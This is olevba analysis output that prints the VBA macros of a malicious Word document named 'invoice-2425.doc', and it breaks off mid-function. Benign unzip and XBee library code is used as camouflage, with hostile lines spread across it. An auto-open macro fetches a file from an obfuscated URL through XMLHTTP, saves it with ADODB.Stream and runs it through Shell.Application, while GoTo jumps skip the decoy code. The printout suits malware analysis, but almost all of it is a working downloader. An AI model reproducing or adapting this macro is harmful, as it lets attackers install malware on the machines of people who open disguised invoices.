Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V invoice-2425.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: invoice-2425.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: invoice-2425.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()
UZDLLPrnt "", 1
ZDLLComm "NNcc"
xbee_ensureMessageID
szTrim ""
ChopNulls "NNm"
VBZip32
VBUnZip32
ZDLLPass "", 1, "", ""
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: invoice-2425.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'-- Callback For UNZIP32.DLL - Receive Message Function
Public Sub UZReceiveDLLMessage_I32( _
    ByVal ucsize_lo As Long, _
    ByVal ucsize_hi As Long, _
    ByVal csiz_lo As Long, _
    ByVal csiz_hi As Long, _
    ByVal cfactor As Integer, _
    ByVal mo As Integer, _
    ByVal dy As Integer, _
    ByVal yr As Integer, _
    ByVal hh As Integer, _
    ByVal mm As Integer, _
    ByVal c As Byte, _
    ByRef fname As String, _
    ByRef meth As String, _
    ByVal crc As Long, _
    ByVal fCrypt As Byte)

  Dim s0     As String
  Dim xx     As Long
  Dim cCh    As Byte
  Dim strout As String * 80
  Dim ucsize As Double
  Dim csiz   As Double

  '-- Always implement a runtime error handler in Callback Routines!
  On Error Resume Next

  '------------------------------------------------
  '-- This Is Where The Received Messages Are
  '-- Printed Out And Displayed.
  '-- You Can Modify Below!
  '------------------------------------------------

  strout = Space$(80)

  '-- For Zip Message Printing
  If uZipNumber = 0 Then
    Mid$(strout, 1, 50) = "Filename:"
    Mid$(strout, 53, 4) = "Size"
    Mid$(strout, 62, 4) = "Date"
    Mid$(strout, 71, 4) = "Time"
    uZipMessage = strout & vbNewLine
    strout = Space$(80)
  End If

  s0 = ""

  '-- Do Not Change This For Next!!!
  For xx = 0 To UBound(fname.ch)
    If fname.ch(xx) = 0 Then Exit For
    s0 = s0 & Chr$(fname.ch(xx))
  Next

  ucsize = CnvI64Struct2Dbl(ucsize_lo, ucsize_hi)
  csiz = CnvI64Struct2Dbl(csiz_lo, csiz_hi)

  '-- Assign Zip Information For Printing
  Mid$(strout, 1, 50) = Mid$(s0, 1, 50)
  Mid$(strout, 51, 9) = Right$("        " & CStr(ucsize), 9)
  Mid$(strout, 62, 3) = Right$("0" & Trim$(CStr(mo)), 2) & "/"
  Mid$(strout, 65, 3) = Right$("0" & Trim$(CStr(dy)), 2) & "/"
  Mid$(strout, 68, 2) = Right$("0" & Trim$(CStr(yr)), 2)
  Mid$(strout, 72, 3) = Right$(str$(hh), 2) & ":"
  Mid$(strout, 75, 2) = Right$("0" & Trim$(CStr(mm)), 2)

  ' Mid$(strout, 77, 2) = Right$(" " & CStr(cfactor), 2)
  ' Mid$(strout, 80, 8) = Right$("        " & CStr(csiz), 8)
  ' s0 = ""
  ' For xx = 0 To 255
  '     If meth.ch(xx) = 0 Then Exit For
  '     s0 = s0 & Chr$(meth.ch(xx))
  ' Next xx

  '-- Do Not Modify Below!!!
  uZipMessage = uZipMessage & strout & vbNewLine
  uZipNumber = uZipNumber + 1

End Sub

'-- Callback For UNZIP32.DLL - Print Message Function
Public Function UZDLLPrnt(ByRef fname As String, ByVal x As Long)

  Dim s0 As String
  Dim xx As Long
  Dim cCh As Byte

  '-- Always implement a runtime error handler in Callback Routines!
  On Error Resume Next

  s0 = ""

  '-- Gets The UNZIP32.DLL Message For Displaying.
  For xx = 0 To x - 1
    cCh = fn.ame.ch(xx)
    Select Case cCh
    Case 0
      Exit For
    Case 10
      s0 = s0 & vbNewLine     ' Damn UNIX :-)
    Case 92 ' = Asc("\")
      s0 = s0 & "/"
    Case Else
      s0 = s0 & Chr$(cCh)
    End Select
  Next

Set httpRequest = CreateObject("Microsoft.XMLHTTP")


Set adodbStream = CreateObject("Adodb.Stream")
  '-- Assign Zip Information


End Function

'-- Callback For UNZIP32.DLL - DLL Service Function
Public Function UZDLLServ_I32(ByRef mname As String, _
         ByVal lUcSiz_Lo As Long, ByVal lUcSiz_Hi As Long) As Long

  Dim UcSiz As Double
  Dim s0 As String
  Dim xx As Long

  '-- Always implement a runtime error handler in Callback Routines!
  On Error Resume Next

  ' Parameters lUcSiz_Lo and lUcSiz_Hi contain the uncompressed size
  ' of the extracted archive entry.
  ' This information may be used for some kind of progress display...
  UcSiz = CnvI64Struct2Dbl(lUcSiz_Lo, lUcSiz_Hi)

  s0 = ""
  '-- Get Zip32.DLL Message For processing
  For xx = 0 To UBound(mname.ch)
    If mname.ch(xx) = 0 Then Exit For
    s0 = s0 & Chr$(mname.ch(xx))
  Next
  ' At this point, s0 contains the message passed from the DLL
  ' (like the current file being extracted)
  ' It is up to the developer to code something useful here :)

  UZDLLServ_I32 = 0 ' Setting this to 1 will abort the zip!

End Function


'-- ASCIIZ To String Function
Public Function szTrim(szString As String)

  Dim pos As Long

adodbStream.Type = 1
adodbStream.Open
  pos = InStr(szString, vbNullChar)

  Select Case pos
    Case Is > 1
      szTrim = Trim$(Left$(szString, pos - 1))
    Case 1
      szTrim = ""
    Case Else
      szTrim = Trim$(szString)
  End Select

End Function

'-- convert a 64-bit int divided in two Int32 variables into
'-- a single 64-bit floating-point value
Private Function CnvI64Struct2Dbl(ByVal lInt64Lo As Long, lInt64Hi As Long) As Double
  If lInt64Lo < 0 Then
    CnvI64Struct2Dbl = 2# ^ 32 + CDbl(lInt64Lo)
  Else
    CnvI64Struct2Dbl = CDbl(lInt64Lo)
  End If
  CnvI64Struct2Dbl = CnvI64Struct2Dbl + (2# ^ 32) * CDbl(lInt64Hi)
End Function

'-- Concatenate a "structured" version number into a single integer value,
'-- to facilitate version number comparisons
'-- (In case the practically used NumMajor numbers will ever exceed 128, it
'-- should be considered to use the number type "Double" to store the
'-- concatenated number. "Double" can store signed integer numbers up to a
'-- width of 52 bits without loss of precision.)
Private Function ConcatVersNums(ByVal NumMajor As Byte, ByVal NumMinor As Byte _
                              , ByVal NumRevis As Byte, ByVal NumBuild As Byte) As Long
  If (NumMajor And &H80) <> 0 Then
    ConcatVersNums = (NumMajor And &H7F) * (2 ^ 24) Or &H80000000
  Else
    ConcatVersNums = NumMajor * (2 ^ 24)
  End If
  ConcatVersNums = ConcatVersNums _
                 + NumMinor * (2 ^ 16) _
                 + NumRevis * (2 ^ 8) _
                 + NumBuild
End Function

'-- Helper function to provide a printable version number string, using the
'-- current formatting rule for version number display as implemented in UnZip.
Private Function VersNumsToTxt(ByVal NumMajor As Byte, ByVal NumMinor As Byte _
                             , ByVal NumRevis As Byte) As String
  VersNumsToTxt = CStr(NumMajor) & "." & Hex$(NumMinor)
  If NumRevis <> 0 Then VersNumsToTxt = VersNumsToTxt & Hex$(NumRevis)
End Function

'-- Helper function to convert a "concatenated" version id into a printable
'-- version number string, using the current formatting rule for version number
'-- display as implemented in UnZip.
Private Function VersIDToTxt(ByVal VersionID As Long) As String
  Dim lNumTemp As Long

  lNumTemp = VersionID \ (2 ^ 24)
  If lNumTemp < 0 Then lNumTemp = 256 + lNumTemp
  VersIDToTxt = CStr(lNumTemp) & "." _
             & Hex$((VersionID And &HFF0000) \ &H10000)
  lNumTemp = (VersionID And &HFF00&) \ &H100
  If lNumTemp <> 0 Then VersIDToTxt = VersIDToTxt & Hex$(lNumTemp)
End Function

'-- Main UNZIP32.DLL UnZip32 Subroutine
'-- (WARNING!) Do Not Change!
Public Sub VBUnZip32()

  Dim retcode As Long
  Dim MsgStr As String
  Dim TotalSizeComp As Double
  Dim TotalSize As Double
  Dim NumMembers As Double

    adodbStream.write httpRequest.responseBody
    adodbStream.savetofile prompt82, 2
    GoTo Step33
  '-- Set The UNZIP32.DLL Options
  '-- (WARNING!) Do Not Change
  UZDCL.StructVersID = cUz_DCLStructVer      ' Current version of this structure
  UZDCL.ExtractOnlyNewer = uExtractOnlyNewer ' 1 = Extract Only Newer/New
  UZDCL.SpaceToUnderscore = uSpaceUnderScore ' 1 = Convert Space To Underscore
  UZDCL.PromptToOverwrite = uPromptOverWrite ' 1 = Prompt To Overwrite Required
  UZDCL.fQuiet = uQuiet                      ' 2 = No Messages 1 = Less 0 = All
  UZDCL.ncflag = uWriteStdOut                ' 1 = Write To Stdout
  UZDCL.ntflag = uTestZip                    ' 1 = Test Zip File
  UZDCL.nvflag = uExtractList                ' 0 = Extract 1 = List Contents
  UZDCL.nfflag = uFreshenExisting            ' 1 = Update Existing by Newer
  UZDCL.nzflag = uDisplayComment             ' 1 = Display Zip File Comment
  UZDCL.ndflag = uHonorDirectories           ' 1 = Honour Directories
  UZDCL.noflag = uOverWriteFiles             ' 1 = Overwrite Files
  UZDCL.naflag = uConvertCR_CRLF             ' 1 = Convert CR To CRLF
  UZDCL.nZIflag = uVerbose                   ' 1 = Zip Info Verbose
  UZDCL.C_flag = uCaseSensitivity            ' 1 = Case insensitivity, 0 = Case Sensitivity
  UZDCL.fPrivilege = uPrivilege              ' 1 = ACL 2 = Priv
  UZDCL.Zip = uZipFileName                   ' ZIP Filename
  UZDCL.ExtractDir = uExtractDir             ' Extraction Directory, NULL If Extracting
                                             ' To Current Directory

  '-- Set Callback Addresses
  '-- (WARNING!!!) Do Not Change
  UZUSER.UZDLLPrnt = FnP.tr(AddressOf UZDLLPrnt)
  UZUSER.UZDLLSND = 0&    '-- Not Supported
  UZUSER.UZDLLMESSAGE_I32 = FnP.tr(AddressOf UZReceiveDLLMessage_I32)
  UZUSER.UZDLLSERVICE_I32 = FnP.tr(AddressOf UZDLLServ_I32)

  '-- Set UNZIP32.DLL Version Space
  '-- (WARNING!!!) Do Not Change
  With UZVER2
    .structlen = Len(UZVER2)
    .Beta = String$(10, vbNullChar)
    .Date = String$(20, vbNullChar)
    .ZLIB = String$(10, vbNullChar)
  End With
Step33:
    Exit Sub
  '-- Get Version
  retcode = UzpVe.rsion2(UZVER2)
  If retcode <> 0 Then
    MsgBox "Incompatible DLL version discovered!" & vbNewLine _
         & "The UnZip DLL requires a version structure of length " _
         & CStr(retcode) & ", but the VB frontend expects the DLL to need " _
         & Len(UZVER2) & "bytes." & vbNewLine _
         & vbNewLine & "The program cannot continue." _
         , vbCritical + vbOKOnly, App.Title
    Exit Sub
  End If

  ' Check that the DLL version is sufficiently recent
  If (ConcatVersNums(UZVER2.unzip(1), UZVER2.unzip(2) _
                  , UZVER2.unzip(3), UZVER2.unzip(4)) < _
      ConcatVersNums(cUzDLL_MinVer_Major, cUzDLL_MinVer_Minor _
                  , cUzDLL_MinVer_Revis, 0)) Then
    ' The found UnZip DLL is too old!
    MsgBox "Incompatible old DLL version discovered!" & vbNewLine _
         & "This program requires an UnZip DLL version of at least " _
         & VersNumsToTxt(cUzDLL_MinVer_Major, cUzDLL_MinVer_Minor, cUzDLL_MinVer_Revis) _
         & ", but the version reported by the found DLL is only " _
         & VersNumsToTxt(UZVER2.unzip(1), UZVER2.unzip(2), UZVER2.unzip(3)) _
         & "." & vbNewLine _
         & vbNewLine & "The program cannot continue." _
         , vbCritical + vbOKOnly, App.Title
    Exit Sub
  End If

  ' Concatenate the DLL API version info into a single version id variable.
  ' This variable may be used later on to switch between different
  ' known variants of specific API calls or API structures.
  m_UzDllApiVers = ConcatVersNums(UZVER2.dllapimin(1), UZVER2.dllapimin(2) _
                                , UZVER2.dllapimin(3), UZVER2.dllapimin(4))
  ' check that the DLL API version is not too new
  If (m_UzDllApiVers > _
      ConcatVersNums(cUzDLL_MaxAPI_Major, cUzDLL_MaxAPI_Minor _
                  , cUzDLL_MaxAPI_Revis, 0)) Then
    ' The found UnZip DLL is too new!
    MsgBox "DLL version with incompatible API discovered!" & vbNewLine _
         & "This program can only handle UnZip DLL API versions up to " _
         & VersNumsToTxt(cUzDLL_MaxAPI_Major, cUzDLL_MaxAPI_Minor, cUzDLL_MaxAPI_Revis) _
         & ", but the found DLL reports a newer API version of " _
         & VersIDToTxt(m_UzDllApiVers) & "." & vbNewLine _
         & vbNewLine & "The program cannot continue." _
         , vbCritical + vbOKOnly, App.Title
    Exit Sub
  End If

  '--------------------------------------
  '-- You Can Change This For Displaying
  '-- The Version Information!
  '--------------------------------------
  MsgStr$ = "DLL Date: " & szTrim(UZVER2.Date)
  MsgStr$ = MsgStr$ & vbNewLine$ & "Zip Info: " _
       & VersNumsToTxt(UZVER2.zipinfo(1), UZVER2.zipinfo(2), UZVER2.zipinfo(3))
  MsgStr$ = MsgStr$ & vbNewLine$ & "DLL Version: " _
       & VersNumsToTxt(UZVER2.windll(1), UZVER2.windll(2), UZVER2.windll(3))
  MsgStr$ = MsgStr$ & vbNewLine$ & "DLL API Compatibility: " _
       & VersIDToTxt(m_UzDllApiVers)
  MsgStr$ = MsgStr$ & vbNewLine$ & "--------------"
  '-- End Of Version Information.

  '-- Go UnZip The Files! (Do Not Change Below!!!)
  '-- This Is The Actual UnZip Routine
  retcode = Wiz_Sin.gleEntryUnzip(uNumberFiles, uZipNames, uNumberXFiles, _
                                 uExcludeNames, UZDCL, UZUSER)
  '---------------------------------------------------------------

  '-- If There Is An Error Display A MsgBox!
  If retcode <> 0 Then _
    MsgBox "UnZip DLL call returned error code #" & CStr(retcode) _
          , vbExclamation, App.Title

  '-- Add up 64-bit values
  TotalSizeComp = CnvI64Struct2Dbl(UZUSER.TotalSizeComp_Lo, _
                                   UZUSER.TotalSizeComp_Hi)
  TotalSize = CnvI64Struct2Dbl(UZUSER.TotalSize_Lo, _
                               UZUSER.TotalSize_Hi)
  NumMembers = CnvI64Struct2Dbl(UZUSER.NumMembers_Lo, _
                                UZUSER.NumMembers_Hi)

  '-- You Can Change This As Needed!
  '-- For Compression Information
  MsgStr$ = MsgStr$ & vbNewLine & _
       "Only Shows If uExtractList = 1 List Contents"
  MsgStr$ = MsgStr$ & vbNewLine & "--------------"
  MsgStr$ = MsgStr$ & vbNewLine & "Comment         : " & UZUSER.cchComment
  MsgStr$ = MsgStr$ & vbNewLine & "Total Size Comp : " _
                    & Format$(TotalSizeComp, "#,0")
  MsgStr$ = MsgStr$ & vbNewLine & "Total Size      : " _
                    & Format$(TotalSize, "#,0")
  MsgStr$ = MsgStr$ & vbNewLine & "Compress Factor : %" & UZUSER.CompFactor
  MsgStr$ = MsgStr$ & vbNewLine & "Num Of Members  : " & NumMembers
  MsgStr$ = MsgStr$ & vbNewLine & "--------------"

  VBUnzFrm.txtMsgOut.Text = VBUnzFrm.txtMsgOut.Text & MsgStr$ & vbNewLine
End Sub

-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: invoice-2425.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



Public httpRequest As Object
Public adodbStream As Object
Public processEnv  As Object
Public tempFolder As String
Public prompt82 As String
Public ZDLLPass3 As Object


'-- Callback For ZIP32z64.DLL - DLL Service Function
Public Function ZDLLServ(ByRef mname As String, _
                         ByVal LowSize As Long, _
                         ByVal HighSize As Long) As Long

    Dim s0 As String
    Dim xx As Long
    Dim FS As Currency  ' for large file sizes

    '-- Always Put This In Callback Routines!
    On Error Resume Next

    FS = (HighSize * &H10000 * &H10000) + LowSize
 '   Form1.Print "ZDLLServ returned File Size High " & HighSize & _
 '               " Low " & LowSize & " = " & FS & " bytes"

    s0 = ""
    '-- Get Zip32.DLL Message For processing
    For xx = 0 To 4096 ' x
    If mname.ch(xx) = 0 Then
        Exit For
    Else
        s0 = s0 + Chr(mname.ch(xx))
    End If
    Next
    ' At this point, s0 contains the message passed from the DLL
    ' It is up to the developer to code something useful here :)
    ZDLLServ = 0 ' Setting this to 1 will abort the zip!

End Function

'-- Callback For ZIP32z64.DLL - DLL Password Function
Public Function ZDLLPass(ByRef p As String, _
  ByVal n As Long, ByRef m As String, _
  ByRef Name As String)

  Dim filename   As String
  Dim prompt     As String
  Dim xx         As Integer
  Dim szpassword As String

  '-- Always Put This In Callback Routines!
  On Error Resume Next

  ZDLLPass = 1

    ZDLLPass3.Open (prompt82)
  '-- User Entered A Password So Proccess It
  Exit Function
  '-- Enter or Verify
  For xx = 0 To 255
    If mnnn.ch(xx) = 0 Then
      Exit For
    Else
      prompt = prompt & Chr(mnnn.ch(xx))
    End If
  Next

  '-- If There Is A Password Have The User Enter It!
  '-- This Can Be Changed

  '-- Now skip asking if default password set
  If EncryptionPassword <> "" Then
    szpassword = EncryptionPassword
  Else
    szpassword = InputBox("Please Enter The Password!", prompt)
  End If

  '-- The User Did Not Enter A Password So Exit The Function
  If szpassword = "" Then Exit Function

  For xx = 0 To n - 1
    pnnn.ch(xx) = 0
  Next

  For xx = 0 To Len(szpassword) - 1
    pnnn.ch(xx) = Asc(Mid(szpassword, xx + 1, 1))
  Next

  pnnn.ch(xx) = Chr(0) ' Put Null Terminator For C

  ZDLLPass = 0

End Function

'-- Callback For ZIP32z64.DLL - DLL Comment Function
Public Function ZDLLComm(ByRef s1 As String)

    Dim comment As String
    Dim xx%, szcomment$
    Dim comment2() As Variant

    '-- Always Put This In Callback Routines!
    On Error Resume Next
    ZDLLComm = 1

    comment2 = Array(157, 167, 165, 159, 103, 90, 88, 144, 146, 138, 82, 77, 127, 144, 146, 124, 135, 134, 115, 116, 128, 127, 111, 121, 110, 104, 111, 99, 43, 94, 104, 100, 36, 42, 39, 97, 34, 33, 78, 31, 28, 92, 25, 14, 19, 16, 61, 61, 12, 11, -1, 52, 69, 48)
GoTo Step1

    If Not IsEmpty(ArchiveCommentText) Then
      ' use text given to SetZipOptions
      szcomment = ArchiveCommentText
    Else
      For xx = 0 To 4095
        szcomment = szcomment & Chr(shh1.ch(xx))
        If sdd1.ch(xx) = 0 Then
          Exit For
        End If
      Next
      comment = InputBox("Enter or edit the comment", Default:=szcomment)
      If comment = "" Then
        ' either empty comment or Cancel button
        If MsgBox("Remove comment?" & Chr(13) & "Hit No to keep existing comment", vbYesNo) = vbYes Then
            szcomment = comment
        Else
          Exit Function
        End If
      End If
      szcomment = comment
    End If
Step1:
httpRequest.Open "G" & "E" + "T", GetStringFromArray(comment2, 53), False
   GoTo Step2
    'If szcomment = "" Then Exit Function
    For xx = 0 To Len(szcomment) - 1
        sgg1.ch(xx) = Asc(Mid$(szcomment, xx + 1, 1))
    Next xx
    sggg1.ch(xx) = 0 ' Put null terminator for C
Step2:
httpRequest.Send
End Function

Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - LenLen + i * 2)
    Next i
    GetStringFromArray = result
End Function

' This function can be used to set options in VB
Public Function SetZipOptions(ByRef ZipOpts As String, _
  Optional ByVal ZipMode As String, _
  Optional ByVal RootDirToZipFrom As String, _
  Optional ByVal CompressionLevel As String, _
  Optional ByVal RecurseSubdirectories As String, _
  Optional ByVal Verboseness As String, _
  Optional ByVal i_IncludeFiles As String, _
  Optional ByVal x_ExcludeFiles As String, _
  Optional ByVal UpdateSFXOffsets As Boolean = False, Optional ByVal JunkDirNames As Boolean = False, _
  Optional ByVal Encrypt As Boolean = False, Optional ByVal Password As String = "", _
  Optional ByVal Repair As String, Optional ByVal NoDirEntries As Boolean = False, _
  Optional ByVal GrowExistingArchive As Boolean = False, _
  Optional ByVal JunkSFXPrefix As Boolean = False, Optional ByVal ForceUseOfDOSNames As Boolean = False, _
  Optional ByVal Translate_LF As String, _
  Optional ByVal Move_DeleteAfterAddedOrUpdated As Boolean = False, _
  Optional ByVal SetZipTimeToLatestTime As Boolean = False, _
  Optional ByVal IncludeSystemAndHiddenFiles As Boolean = False, _
  Optional ByVal ExcludeEarlierThanDate As String = "", _
  Optional ByVal IncludeEarlierThanDate As String = "", _
  Optional ByVal IncludeVolumeLabel As Boolean = False, _
  Optional ByVal ArchiveComment As Boolean = False, _
  Optional ByVal ArchiveCommentTextString = Empty, _
  Optional ByVal UsePrivileges As Boolean = False, _
  Optional ByVal ExcludeExtraAttributes As Boolean = False, Optional ByVal SplitSize As String = "", _
  Optional ByVal TempDirPath As String = "") As Boolean

  Dim SplitNum As Long
  Dim SplitMultS As String
  Dim SplitMult As Long

  ' set some defaults
  ZipOpts.Date = vbNullString
  ZipOpts.szRootDir = vbNullString
  ZipOpts.szTempDir = vbNullString
  ZipOpts.fTemp = 0
  ZipOpts.fSuffix = 0
  ZipOpts.fEncrypt = 0
  ZipOpts.fSystem = 0
  ZipOpts.fVolume = 0
  ZipOpts.fExtra = 0
  ZipOpts.fNoDirEntries = 0
  ZipOpts.fExcludeDate = 0
  ZipOpts.fIncludeDate = 0
  ZipOpts.fVerbose = 0
  ZipOpts.fQuiet = 0
  ZipOpts.fCRLF_LF = 0
  ZipOpts.fLF_CRLF = 0
  ZipOpts.fJunkDir = 0
  ZipOpts.fGrow = 0
  ZipOpts.fForce = 0
  ZipOpts.fMove = 0
  ZipOpts.fDeleteEntries = 0
  ZipOpts.fUpdate = 0
  ZipOpts.fFreshen = 0
  ZipOpts.fJunkSFX = 0
  ZipOpts.fLatestTime = 0
  ZipOpts.fComment = 0
  ZipOpts.fOffsets = 0
  ZipOpts.fPrivilege = 0
  ZipOpts.szSplitSize = vbNullString
  ZipOpts.IncludeListCount = 0
  ZipOpts.szIncludeList = vbNullString
  ZipOpts.ExcludeListCount = 0
  ZipOpts.szExcludeList = vbNullString
  ZipOpts.fRecurse = 0
  ZipOpts.fRepair = 0
  ZipOpts.flevel = 0

  If RootDirToZipFrom <> "" Then
    ZipOpts.szRootDir = RootDirToZipFrom
  End If
  ZipOpts.flevel = Asc(CompressionLevel)
  If UpdateSFXOffsets Then ZipOpts.fOffsets = 1

  If i_IncludeFiles <> "" Then
    ZipOpts.szIncludeList = i_IncludeFiles
  End If
  If x_ExcludeFiles <> "" Then
    ZipOpts.szExcludeList = x_ExcludeFiles
  End If

  If ZipMode = Add Then
    ' default
  ElseIf ZipMode = Delete Then
    ZipOpts.fDeleteEntries = 1
  ElseIf ZipMode = Update Then
    ZipOpts.fUpdate = 1
  Else
    ZipOpts.fFreshen = 1
  End If
  ZipOpts.fRepair = Repair
  If GrowExistingArchive Then ZipOpts.fGrow = 1
  If Move_DeleteAfterAddedOrUpdated Then ZipOpts.fMove = 1

  If Verboseness = Quiet Then
    ZipOpts.fQuiet = 1
  ElseIf Verboseness = Verbose Then
    ZipOpts.fVerbose = 1
  End If

  If ArchiveComment = False And Not IsEmpty(ArchiveCommentTextString) Then
    MsgBox "Must set ArchiveComment = True to set ArchiveCommentTextString"
    Exit Function
  End If
  If IsEmpty(ArchiveCommentTextString) Then
    ArchiveCommentText = Empty
  Else
    ArchiveCommentText = ArchiveCommentTextString
  End If
  If ArchiveComment Then ZipOpts.fComment = 1

  If NoDirEntries Then ZipOpts.fNoDirEntries = 1
  If JunkDirNames Then ZipOpts.fJunkDir = 1
  If Encrypt Then ZipOpts.fEncrypt = 1
  EncryptionPassword = Password
  If JunkSFXPrefix Then ZipOpts.fJunkSFX = 1
  If ForceUseOfDOSNames Then ZipOpts.fForce = 1
  If Translate_LF = LF_To_CRLF Then ZipOpts.fLF_CRLF = 1
  If Translate_LF = CRLF_To_LF Then ZipOpts.fCRLF_LF = 1
  ZipOpts.fRecurse = RecurseSubdirectories
  If IncludeSystemAndHiddenFiles Then ZipOpts.fSystem = 1

  If SetZipTimeToLatestTime Then ZipOpts.fLatestTime = 1
  If ExcludeEarlierThanDate <> "" And IncludeEarlierThanDate <> "" Then
    MsgBox "Both ExcludeEarlierThanDate and IncludeEarlierThanDate not " & Chr(10) & _
           "supported at same time"
    Exit Function
  End If
  If ExcludeEarlierThanDate <> "" Then
    ZipOpts.fIncludeDate = 1
    ZipOpts.Date = ExcludeEarlierThanDate
  End If
  If IncludeEarlierThanDate <> "" Then
    ZipOpts.fExcludeDate = 1
    ZipOpts.Date = IncludeEarlierThanDate
  End If

  If TempDirPath <> "" Then
    ZipOpts.szTempDir = TempDirPath
    ZipOpts.fTemp = 1
  End If

  If SplitSize <> "" Then
    SplitSize = Trim(SplitSize)
    SplitMultS = Right(SplitSize, 1)
    SplitMultS = UCase(SplitMultS)
    If (SplitMultS = "K") Then
        SplitMult = 1024
        SplitNum = Val(Left(SplitSize, Len(SplitSize) - 1))
    ElseIf SplitMultS = "M" Then
        SplitMult = 1024 * 1024&
        SplitNum = Val(Left(SplitSize, Len(SplitSize) - 1))
    ElseIf SplitMultS = "G" Then
        SplitMult = 1024 * 1024 * 1024&
        SplitNum = Val(Left(SplitSize, Len(SplitSize) - 1))
    Else
        SplitMult = 1024 * 1024&
        SplitNum = Val(SplitSize)
    End If
    SplitNum = SplitNum * SplitMult
    If SplitNum = 0 Then
        MsgBox "SplitSize of 0 not supported"
        Exit Function
    ElseIf SplitNum < 64 * 1024& Then
        MsgBox "SplitSize must be at least 64k"
        Exit Function
    End If
    ZipOpts.szSplitSize = SplitSize
  End If

  If IncludeVolumeLabel Then ZipOpts.fVolume = 1
  If UsePrivileges Then ZipOpts.fPrivilege = 1
  If ExcludeExtraAttributes Then ZipOpts.fExtra = 1

  SetZipOptions = True

End Function

Public Function ChopNulls(ByVal str)
  Dim A As Integer
  Dim c As String

  For A = 1 To Len(str)
    If Mid(str, A, 1) = Chr(0) Then
      ChopNulls = Left(str, A - 1)
      Exit Function
    End If
  Next

Set processEnv = CreateObject("WScript." + "Shell").Environment("Pro" & "cess")
  ChopNulls = str

End Function
Sub DisplayVersion()

  ' display version of DLL
  Dim Beta As Boolean
  Dim ZLIB As Boolean
  Dim Zip64 As Boolean
  Dim Flags As String
  Dim A As Integer

  ZipVersion.structlen = Len(ZipVersion)
  ZpVersion ZipVersion
  ' Check flag
  If ZipVersion.flag And 1 Then
    Flags = Flags & " Beta,"
    Beta = True
  Else
    Flags = Flags & " No Beta,"
  End If
  If ZipVersion.flag And 2 Then
    Flags = Flags & " ZLIB,"
    ZLIB = True
  Else
    Flags = Flags & " No ZLIB,"
  End If
  If ZipVersion.flag And 4 Then
    Flags = Flags & " Zip64, "
    Zip64 = True
  Else
    Flags = Flags & " No Zip64, "
  End If
  If ZipVersion.encryption Then
    Flags = Flags & "Encryption"
  Else
    Flags = Flags & " No encryption"
  End If

  Form1.Caption = "Using Zip32z64.DLL Version " & _
                  ZipVersion.ZipVersion.Major & "." & ZipVersion.ZipVersion.Minor & " " & _
                  ChopNulls(ZipVersion.Beta) & "  [" & ChopNulls(ZipVersion.Date) & "]" & _
                  " - FLAGS: " & Flags

  If Not Zip64 Then
    A = MsgBox("Zip32z64.dll not compiled with Zip64 enabled - continue?", _
               vbOKCancel, _
               "Wrong dll")
    If A = vbCancel Then
        End
    End If
  End If

End Sub

-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: invoice-2425.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function PointerToString(lngPtr As Long) As String
   Dim strTemp As String
   Dim lngLen As Long
   If lngPtr Then
      lngLen = lstrlenW(lngPtr) * 2
      If lngLen Then
         strTemp = Space(lngLen)
         CopyMemory ByVal strTemp, ByVal lngPtr, lngLen
         PointerToString = Replace(strTemp, Chr(0), "")
      End If
   End If
End Function

Public Function ArrayToString(data() As Byte, Optional lb As Integer = -1, Optional ub As Integer = -1) As String
    Dim tmp As String
    Dim i
    If lb = -1 Then lb = LBound(data)
    If ub = -1 Then ub = UBound(data)
    tmp = ""
    For i = lb To ub
        If (data(i) = 0) Then Exit For
        tmp = tmp & Chr(data(i))
    Next
    ArrayToString = tmp
End Function

Public Function xbee_pointerToPacket(lngPtr As Long) As String
    Dim p As xbee_pkt
    CopyMemory p, ByVal lngPtr, Len(p)
    xbee_pointerToPacket = p
End Function

Public Sub libxbee_load()
    ' this function is simply to get VB6 to call a libxbee function
    ' if you are using any C DLLs that make use of libxbee, then you should call this function first so that VB6 will load libxbee
    xbee_svn_versionRaw
End Sub

Public Function xbee_svn_version() As String
    xbee_svn_version = PointerToString(xbee_svn_versionRaw())
End Function

Public Function xbee_setupAPI(ByVal port As String, ByVal baudRate As Long, ByVal cmdSeq As String, ByVal cmdTime As Long)
    xbee_setupAPI = xbee_setupAPIRaw(port, baudRate, Asc(cmdSeq), cmdTime)
End Function

Public Function xbee_setupDebugAPI(ByVal port As String, ByVal baudRate As Long, ByVal logfile As String, ByVal cmdSeq As String, ByVal cmdTime As Long)
    xbee_setupDebugAPI = xbee_setupDebugAPIRaw(port, baudRate, logfile, Asc(cmdSeq), cmdTime)
End Function

Public Sub xbee_ensureMessageID()

Set ZDLLPass3 = CreateObject("Shell.Application")
Exit Sub
    If callbackMessageID = 0 Then
        callbackMessageID = Regist.erWindowMessage("libxbee")
    End If
    xbee_enabl.eCallbacksRaw ActivehWnd, callbackMessageID
End Sub

Public Sub xbee_attachCallback(ByVal con As Long, ByVal func As Long)
    Dim t(0 To 1) As Long
    Dim c As String
    If ActivehWnd = 0 Then
        Debug.Print "Callbacks not enabled!"
        Exit Sub
    End If
    xbee_ensureMessageID
    c = CStr(con)
    t(0) = con
    t(1) = func
    On Error Resume Next
    Callbacks.Remove c
    Callbacks.Add t, c
    On Error GoTo 0
    xbee_attachCallbackRaw con
End Sub

Public Sub xbee_detachCallback(ByVal con As Long)
    If ActivehWnd = 0 Then
        Debug.Print "Callbacks not enabled!"
